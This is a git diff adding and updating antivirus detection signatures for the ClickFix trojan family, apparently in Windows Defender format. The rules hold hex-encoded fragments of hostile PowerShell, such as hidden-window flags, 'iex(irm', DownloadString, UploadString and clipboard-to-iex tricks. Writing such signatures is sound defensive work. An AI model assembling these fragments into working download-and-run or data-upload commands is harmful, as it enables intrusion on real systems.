a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDJ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDJ_MTB.yar new file mode 100644 index 0000000000..e6de318fe7 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDJ_MTB.yar @@ -0,0 +1,29 @@ + +rule Trojan_Win32_ClickFix_DDJ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DDJ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 06 00 00 " + + strings : + $a_00_0 = {26 00 26 00 20 00 66 00 74 00 70 00 } //1 && ftp + $a_00_1 = {26 00 26 00 20 00 63 00 75 00 72 00 6c 00 } //1 && curl + $a_00_2 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_3 = {73 00 65 00 72 00 76 00 69 00 63 00 65 00 } //1 service + $a_00_4 = {2e 00 6c 00 6f 00 67 00 } //1 .log + $a_00_5 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-100 msedgewebview2.exe + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*-100) >=5 + +} +rule Trojan_Win32_ClickFix_DDJ_MTB_2{ + meta: + description = "Trojan:Win32/ClickFix.DDJ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {5b 00 73 00 63 00 72 00 69 00 70 00 74 00 62 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 28 00 } //10 [scriptblock]::Create( + $a_00_2 = {47 00 65 00 74 00 2d 00 43 00 6c 00 69 00 70 00 62 00 6f 00 61 00 72 00 64 00 29 00 20 00 2d 00 6a 00 6f 00 69 00 6e 00 } //10 Get-Clipboard) -join + $a_00_3 = {7c 00 20 00 63 00 6c 00 69 00 70 00 3b 00 20 00 26 00 } //1 | clip; & + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1) >=121 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDK_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDK_MTB.yar new file mode 100644 index 0000000000..290c0476df --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDK_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_DDK_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DDK!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 03 00 00 " + + strings : + $a_00_0 = {7c 00 25 00 7b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 24 00 5f 00 7d 00 29 00 2d 00 6a 00 6f 00 69 00 6e 00 27 00 } //100 |%{[char]$_})-join' + $a_00_1 = {69 00 65 00 78 00 20 00 24 00 } //1 iex $ + $a_00_2 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 } //1 invoke-expresssion $ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=101 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDL_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDL_MTB.yar new file mode 100644 index 0000000000..b6f10c62a1 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDL_MTB.yar @@ -0,0 +1,45 @@ + +rule Trojan_Win32_ClickFix_DDL_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DDL!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {63 00 61 00 74 00 63 00 68 00 7b 00 69 00 65 00 78 00 28 00 63 00 75 00 72 00 6c 00 } //1 catch{iex(curl + $a_00_1 = {69 00 65 00 78 00 28 00 69 00 72 00 6d 00 20 00 24 00 } //1 iex(irm $ + $a_02_2 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-50] 24 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_02_2 & 1)*1) >=3 + +} +rule Trojan_Win32_ClickFix_DDL_MTB_2{ + meta: + description = "Trojan:Win32/ClickFix.DDL!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffab 00 ffffffab 00 17 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {5b 00 53 00 63 00 52 00 69 00 50 00 74 00 42 00 6c 00 4f 00 63 00 4b 00 5d 00 3a 00 3a 00 43 00 72 00 45 00 61 00 54 00 65 00 28 00 24 00 } //50 [ScRiPtBlOcK]::CrEaTe($ + $a_00_2 = {2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 } //10 -UseBasicParsing + $a_00_3 = {2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //10 .Content + $a_00_4 = {2d 00 22 00 77 00 22 00 20 00 68 00 20 00 2d 00 43 00 } //1 -"w" h -C + $a_00_5 = {e2 00 80 00 94 00 77 00 20 00 68 00 20 00 2d 00 22 00 43 00 22 00 } //1 + $a_00_6 = {2d 00 57 00 20 00 68 00 20 00 2d 00 43 00 } //1 -W h -C + $a_00_7 = {2d 00 57 00 20 00 48 00 69 00 44 00 64 00 45 00 6e 00 20 00 2d 00 43 00 20 00 } //1 -W HiDdEn -C + $a_00_8 = {2d 00 77 00 20 00 6d 00 69 00 6e 00 69 00 6d 00 69 00 7a 00 65 00 64 00 20 00 2d 00 63 00 } //1 -w minimized -c + $a_00_9 = {2d 00 77 00 20 00 31 00 20 00 2d 00 63 00 } //1 -w 1 -c + $a_00_10 = {2d 00 77 00 20 00 68 00 20 00 2d 00 63 00 6f 00 6d 00 } //1 -w h -com + $a_00_11 = {2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 6c 00 65 00 20 00 68 00 20 00 2d 00 63 00 } //1 -windowstyle h -c + $a_00_12 = {2d 00 77 00 69 00 20 00 31 00 20 00 2d 00 63 00 6f 00 6d 00 } //1 -wi 1 -com + $a_00_13 = {2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 20 00 68 00 20 00 2d 00 63 00 6f 00 } //1 -window h -co + $a_00_14 = {2d 00 77 00 69 00 20 00 68 00 20 00 2d 00 63 00 6f 00 } //1 -wi h -co + $a_00_15 = {2d 00 77 00 20 00 68 00 20 00 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 } //1 -w h -command + $a_00_16 = {e2 00 80 00 95 00 77 00 20 00 68 00 20 00 e2 00 80 00 94 00 43 00 } //1 + $a_00_17 = {2f 00 77 00 20 00 68 00 20 00 2f 00 43 00 } //1 /w h /C + $a_00_18 = {e2 00 80 00 95 00 57 00 20 00 68 00 20 00 2d 00 63 00 } //1 + $a_00_19 = {2d 00 57 00 20 00 68 00 20 00 e2 00 80 00 94 00 43 00 } //1 + $a_00_20 = {2d 00 77 00 20 00 68 00 20 00 2d 00 4e 00 6f 00 50 00 20 00 2d 00 63 00 } //1 -w h -NoP -c + $a_00_21 = {e2 00 80 00 95 00 77 00 20 00 68 00 20 00 2f 00 63 00 } //1 + $a_00_22 = {2f 00 77 00 20 00 68 00 20 00 2d 00 43 00 } //1 /w h -C + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*50+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_00_21 & 1)*1+(#a_00_22 & 1)*1) >=171 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDM_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDM_MTB.yar new file mode 100644 index 0000000000..50a30be5f9 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDM_MTB.yar @@ -0,0 +1,26 @@ + +rule Trojan_Win32_ClickFix_DDM_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DDM!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 } //10 -UseBasicParsing + $a_00_2 = {2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //10 .Content + $a_00_3 = {24 00 65 00 6e 00 76 00 3a 00 5f 00 } //1 $env:_ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1) >=121 + +} +rule Trojan_Win32_ClickFix_DDM_MTB_2{ + meta: + description = "Trojan:Win32/ClickFix.DDM!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_02_0 = {24 00 65 00 6e 00 76 00 3a 00 74 00 6d 00 70 00 [0-10] 3b 00 69 00 72 00 6d 00 20 00 2d 00 75 00 72 00 69 00 20 00 27 00 68 00 74 00 74 00 70 00 } //1 + $a_02_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-50] 24 00 } //1 + $a_00_2 = {2d 00 46 00 6f 00 72 00 63 00 65 00 } //1 -Force + condition: + ((#a_02_0 & 1)*1+(#a_02_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDO_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDO_MTB.yar new file mode 100644 index 0000000000..adbc5139ed --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDO_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_DDO_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DDO!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {5b 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 49 00 6e 00 6a 00 65 00 63 00 74 00 6f 00 72 00 2e 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 5d 00 3a 00 3a 00 4d 00 61 00 69 00 6e 00 28 00 29 00 } //1 [ProcessInjector.Program]::Main() + $a_00_1 = {4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 Net.WebClient + $a_00_2 = {44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 } //1 DownloadString + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDP_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDP_MTB.yar new file mode 100644 index 0000000000..57fb85fe6e --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDP_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_DDP_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DDP!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 05 00 00 " + + strings : + $a_00_0 = {4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 3b 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 } //10 New-Object Net.WebClient;Invoke-Expression $ + $a_00_1 = {44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 27 00 68 00 74 00 74 00 70 00 } //10 DownloadString('http + $a_02_2 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-50] 24 00 } //10 + $a_00_3 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //1 hidden + $a_00_4 = {2d 57 69 6e 64 6f 77 53 74 79 6c 65 20 48 } //1 -WindowStyle H + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_02_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=31 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDQ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDQ_MTB.yar new file mode 100644 index 0000000000..f7a9ddf4e1 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDQ_MTB.yar @@ -0,0 +1,27 @@ + +rule Trojan_Win32_ClickFix_DDQ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DDQ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 02 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {29 00 7c 00 25 00 7b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 24 00 5f 00 7d 00 29 00 2d 00 6a 00 6f 00 69 00 6e 00 } //10 )|%{[char]$_})-join + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10) >=110 + +} +rule Trojan_Win32_ClickFix_DDQ_MTB_2{ + meta: + description = "Trojan:Win32/ClickFix.DDQ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_00_0 = {49 00 4f 00 2e 00 46 00 69 00 6c 00 65 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 28 00 24 00 } //1 IO.File]::Create($ + $a_00_1 = {5b 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 } //1 [Net.WebRequest]::Create + $a_00_2 = {2e 00 43 00 6f 00 70 00 79 00 54 00 6f 00 28 00 24 00 } //1 .CopyTo($ + $a_00_3 = {4a 00 6f 00 69 00 6e 00 2d 00 50 00 61 00 74 00 68 00 20 00 24 00 } //1 Join-Path $ + $a_00_4 = {72 65 70 6c 61 63 65 } //1 replace + $a_00_5 = {53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 } //1 Start-Process + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDR_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDR_MTB.yar new file mode 100644 index 0000000000..cb26fe1c82 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDR_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_DDR_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DDR!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 00 " + + strings : + $a_00_0 = {7c 00 69 00 65 00 78 00 20 00 23 00 50 00 61 00 73 00 73 00 20 00 56 00 65 00 72 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 20 00 41 00 63 00 63 00 65 00 73 00 } //1 |iex #Pass Verification Acces + $a_00_1 = {7c 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 23 00 50 00 61 00 73 00 73 00 20 00 56 00 65 00 72 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 20 00 41 00 63 00 63 00 65 00 73 00 73 00 } //1 |invoke-expression #Pass Verification Access + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDS_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDS_MTB.yar new file mode 100644 index 0000000000..432571623f --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDS_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_DDS_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DDS!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 Net.WebClient + $a_00_1 = {2e 00 55 00 70 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 .UploadString($ + $a_02_2 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-50] 24 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_02_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDT_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDT_MTB.yar new file mode 100644 index 0000000000..f1d8b989a8 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDT_MTB.yar @@ -0,0 +1,25 @@ + +rule Trojan_Win32_ClickFix_DDT_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DDT!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {69 00 65 00 78 00 28 00 28 00 67 00 65 00 74 00 2d 00 63 00 6c 00 69 00 70 00 62 00 6f 00 61 00 72 00 64 00 20 00 2d 00 72 00 61 00 77 00 29 00 2e 00 73 00 75 00 62 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 } //1 iex((get-clipboard -raw).substring( + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=2 + +} +rule Trojan_Win32_ClickFix_DDT_MTB_2{ + meta: + description = "Trojan:Win32/ClickFix.DDT!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 Net.WebClient + $a_00_2 = {29 00 3b 00 20 00 23 00 20 00 } //1 ); # + $a_02_3 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-50] 24 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_02_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDU_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDU_MTB.yar new file mode 100644 index 0000000000..c4294ba7e0 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDU_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_DDU_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DDU!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {5b 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 43 00 6c 00 69 00 70 00 62 00 6f 00 61 00 72 00 64 00 5d 00 3a 00 3a 00 53 00 65 00 74 00 54 00 65 00 78 00 74 00 28 00 5b 00 44 00 61 00 74 00 65 00 54 00 69 00 6d 00 65 00 5d 00 3a 00 3a 00 55 00 74 00 63 00 4e 00 6f 00 77 00 2e 00 54 00 6f 00 53 00 74 00 72 00 69 00 6e 00 67 00 } //1 [Windows.Clipboard]::SetText([DateTime]::UtcNow.ToString + $a_00_2 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //1 hidden + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDV_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDV_MTB.yar new file mode 100644 index 0000000000..0f1f51e8e0 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDV_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_DDV_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DDV!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {2e 00 6f 00 70 00 65 00 6e 00 28 00 27 00 47 00 45 00 54 00 27 00 2c 00 24 00 } //1 .open('GET',$ + $a_00_1 = {73 00 65 00 6e 00 64 00 28 00 29 00 } //1 send() + $a_00_2 = {2e 00 72 00 65 00 73 00 70 00 6f 00 6e 00 73 00 65 00 } //1 .response + $a_02_3 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-50] 24 00 } //1 + $a_00_4 = {4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 58 00 4d 00 4c 00 48 00 54 00 54 00 50 00 3b 00 24 00 } //1 Microsoft.XMLHTTP;$ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_02_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DD_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DD_MTB.yar index e2381608fa..a76cc6e9c7 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DD_MTB.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DD_MTB.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_ClickFix_DD_MTB{ meta: - description = "Trojan:Win32/ClickFix.DD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 15 00 00 " + description = "Trojan:Win32/ClickFix.DD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 17 00 00 " strings : $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //10 mshta @@ -25,7 +25,9 @@ rule Trojan_Win32_ClickFix_DD_MTB{ $a_00_18 = {48 00 75 00 6d 00 61 00 6e 00 3a 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //1 Human: CAPTCHA $a_00_19 = {48 00 75 00 6d 00 61 00 6e 00 20 00 2d 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 } //1 Human - CAPTCHA $a_00_20 = {4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 3a 00 20 00 46 00 69 00 78 00 20 00 49 00 6e 00 74 00 65 00 72 00 6e 00 65 00 74 00 20 00 44 00 4e 00 53 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 72 00 65 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 } //1 Microsoft Windows: Fix Internet DNS Service reconnect + $a_00_21 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-100 msedgewebview2.exe + $a_00_22 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo condition: - ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1) >=31 + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_00_21 & 1)*-100+(#a_00_22 & 1)*-1000) >=31 } \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEB_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEB_MTB.yar new file mode 100644 index 0000000000..d8c87d3ea6 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEB_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DEB_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DEB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {26 00 28 00 67 00 63 00 4d 00 20 00 2a 00 77 00 72 00 29 00 } //10 &(gcM *wr) + $a_00_2 = {7c 00 26 00 28 00 67 00 63 00 6d 00 20 00 69 00 2a 00 78 00 29 00 } //10 |&(gcm i*x) + $a_00_3 = {7c 00 69 00 65 00 78 00 } //10 |iex + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10) >=120 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEC_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEC_MTB.yar new file mode 100644 index 0000000000..8babebb2bd --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DEC_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_DEC_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DEC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffa0 00 ffffffa0 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_02_1 = {7b 00 26 00 20 00 28 00 64 00 69 00 72 00 20 00 [0-02] 5c 00 57 00 2a 00 [0-02] 5c 00 2a 00 33 00 32 00 [0-02] 5c 00 63 00 3f 00 3f 00 6c 00 2e 00 65 00 2a 00 29 00 } //50 + $a_00_2 = {7c 00 20 00 69 00 65 00 78 00 } //10 | iex + condition: + ((#a_00_0 & 1)*100+(#a_02_1 & 1)*50+(#a_00_2 & 1)*10) >=160 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DED_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DED_MTB.yar new file mode 100644 index 0000000000..5c044b96b2 --- /dev/null +++ 